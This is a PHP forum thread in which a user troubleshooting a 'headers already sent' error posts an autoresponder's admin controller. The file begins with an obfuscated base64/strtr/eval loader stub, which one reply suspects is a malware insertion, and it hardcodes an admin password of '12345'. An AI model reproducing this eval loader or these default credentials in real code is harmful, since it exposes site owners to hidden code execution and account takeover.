Jump to content
oldwizard

Message: session_start()

Recommended Posts

Can anyone help me with this? i´m trying to install a autoresponder on my website and after i run the installer i get this message and not the login page. Any suggestions?

 

Message: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /home/awsomesuperfoods/public_html/responder/application/libraries/admin_controller.php:15)

Filename: core/MY_Controller.php(1) : eval()'d code(3) : eval()'d code

Line Number: 16

Share this post


Link to post
Share on other sites

The message is as it says. Content has already been sent to the browser (e.g. echo/print or anything not within PHP tags). Look at file admin_controller.php (post the first 20 lines if you want feedback on it).

 

The headers for a page request must be sent before the content. The headers contain information for the browser on how to handle the page. After content for the page starts, the browser is already committed to how it will handle the page (either with the headers that were already sent or using defaults). So, you need to go through any logic that may determine any header output without outputting any content. You can store potential content within a variable for output later.

Share this post


Link to post
Share on other sites

Hey thank you Psycho, but i did not understand that much of php to know what you just explained, but i will post the code for admin_controller.php and ask for help to solve this thing.

 

<?php
/**
*
* @ Universal Decoder PHP 5.2
* @ By Ps2Gamer
*
*/
 
$_X=base64_decode($_X);$_X=strtr($_X,'SgPO9YZWFKmqyfxcjLJRzuM5vNts1b.{B4nC]i/2Dl0EheA
[d8=Qp>VXo H}6GIw7ka3TrU<','=R9odmplAEPyk8gv[53xrMezqZHi7YhW<DsG{>CcX}1N/afj6]JtuS 
.BUnwVKLQO20ITF4b');$_R=str_replace('__FILE__',"'".$_F."'",$_X);eval($_R);$_R=0;$_X=0;
?>
 
<?php
/**
*
* @ Universal Decoder PHP 5.2
* @ By Ps2Gamer
*
*/
 
?><?php if (! defined('BASEPATH')) exit('No direct script access allowed');
 
class Admin_Controller extends App_Controller {
const DEFAULT_ADMIN_USER_NAME = 'admin';
const DEFAULT_ADMIN_PASSWORD = '12345';
const PAGE_TEMPLATE = 'admin/admin_template';
const PAGE_TEMPLATE_HEADER = 'admin/admin_template_header';
const PAGE_MENU = 'admin/admin_menu';
const PAGE_MENUSTRIP = 'admin/admin_menu_strip';
const PAGE_MENUSTRIP_NO_HEADER = 'admin/admin_menu_strip_no_header';
const VIEW_HEADER = 'admin/admin_view_header';
const VIEW_SUB_MENU = 'admin/admin_view_sub_menu';
const VIEW_ERRORS = 'admin/admin_view_errors';
const FAILSAFE_KEY_LENGTH = 16;
const FAILSAFE_GET_VAR = 'fsk';
const VIEW_PREVIEW = 'admin/admin_view_preview';
const VIEW_SPAM_REPORT = 'admin_spam_report';
const VIEW_GAUGE = 'admin/admin_view_gauge';
const FIELD_HINT_SCRIPT = 'static/hint/hint.php';
const DEFAULT_THEME = 'standard';
 
private $_language;
private $_actions = array();
private $_hub_urls = array();
private $_user = NULL;
private $_notify_message = '';
private $_notify_type = 'info';
private $_custom_notify_success = '';
private $_ticker;
 
protected $enable_backup_cleanup = TRUE;
protected $permission_enum = '';
protected $permission_key = '';
protected $permission_redirect = TRUE;
protected $page_template = '';
protected $obj = NULL;
protected $parent = NULL;
protected $view = '';
protected $view_title = '';
protected $view_icon = '';
protected $show_view_header = TRUE;
protected $list_action = '';
protected $delete_list_action = '';
protected $total_records = 0;
protected $matching_records = 0;
protected $max_pages = 0;
protected $current_page = 0;
protected $item_count = 0;
protected $list_items = array();
protected $list_actions = array();
protected $order_fields = array();
protected $order_by = 'NONE';
protected $order_type = 'ASC';
protected $sub_menu = array();
protected $form_action = '';
protected $cancel_action = '';
protected $submit = '';
protected $submit_class = '';
protected $success_action = '';
protected $success_redirect = '';
protected $success_redirect_add_id = FALSE;
protected $error_redirect = '';
protected $view_errors = array();
protected $extra_display_data = array();
protected $preview_action = '';
protected $preview_text = '';
protected $preview_html = '';
protected $view_warning = '';
protected $view_info_left = '';
protected $view_info_right = '';
protected $filter_types = array();
protected $filter_type = 0;
protected $filter_value = 0;
protected $field_hint_library = '';

Share this post


Link to post
Share on other sites

Let me state it simply. You cannot send/set headers if any output has been made to the browser. The includes echo/print statements as well as any content not within PHP tags. In the code you just posted there is such content:

$_X=base64_decode($_X);$_X=strtr($_X,'SgPO9YZWFKmqyfxcjLJRzuM5vNts1b.{B4nC]i/2Dl0EheA
[d8=Qp>VXo H}6GIw7ka3TrU<','=R9odmplAEPyk8gv[53xrMezqZHi7YhW<DsG{>CcX}1N/afj6]JtuS 
.BUnwVKLQO20ITF4b');$_R=str_replace('__FILE__',"'".$_F."'",$_X);eval($_R);$_R=0;$_X=0;
?>
                     <<== this would be output to the browser of at least two line breaks characters!
<?php
/**
*
* @ Universal Decoder PHP 5.2

Let me also try to again explain WHY this is the case. Your browser uses the headers to determine how to handle the content that it will be sent. It may be an HTML page, a download, a PDF, etc. The browser will do different things for each of those situations. If the browser receives headers that it will be sent an HTML page, but is instead sent a PDF file you will see a lot of "junk" displayed in the browser. That is why the headers must all be sent before any content is sent. As soon as any content is detected by the browser (even a space or line break) it has to commit to how it will process that content.

Edited by Psycho

Share this post


Link to post
Share on other sites

So how can i fix it? this is the code from the software, i did not mess with it, it should work properly. Can you give me an example on how to fix this?

Share this post


Link to post
Share on other sites

Put all of that code between a single pair of php tags. Place the opening tag at the beginning of the file.

Share this post


Link to post
Share on other sites

do you mean like this?

 

<?php
/**
*
* @ Universal Decoder PHP 5.2
* @ By Ps2Gamer
*
*/
<?php
$_X=base64_decode($_X);$_X=strtr($_X,'SgPO9YZWFKmqyfxcjLJRzuM5vNts1b.{B4nC]i/2Dl0EheA
[d8=Qp>VXo H}6GIw7ka3TrU<','=R9odmplAEPyk8gv[53xrMezqZHi7YhW<DsG{>CcX}1N/afj6]JtuS 
.BUnwVKLQO20ITF4b');$_R=str_replace('__FILE__',"'".$_F."'",$_X);eval($_R);$_R=0;$_X=0;
?>
 
<?php
/**
*
* @ Universal Decoder PHP 5.2
* @ By Ps2Gamer
*
*/
the login page is not there, nothing is there just a blank page

Share this post


Link to post
Share on other sites

Incidentally, if you're not sure what this software is doing, I'm not sure I'd put it on the WWW. The base64 string looks a little like an attempted malware insertion. Probably not a very good one ... it depends on register_globals(), by the look of it....

Share this post


Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.


×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.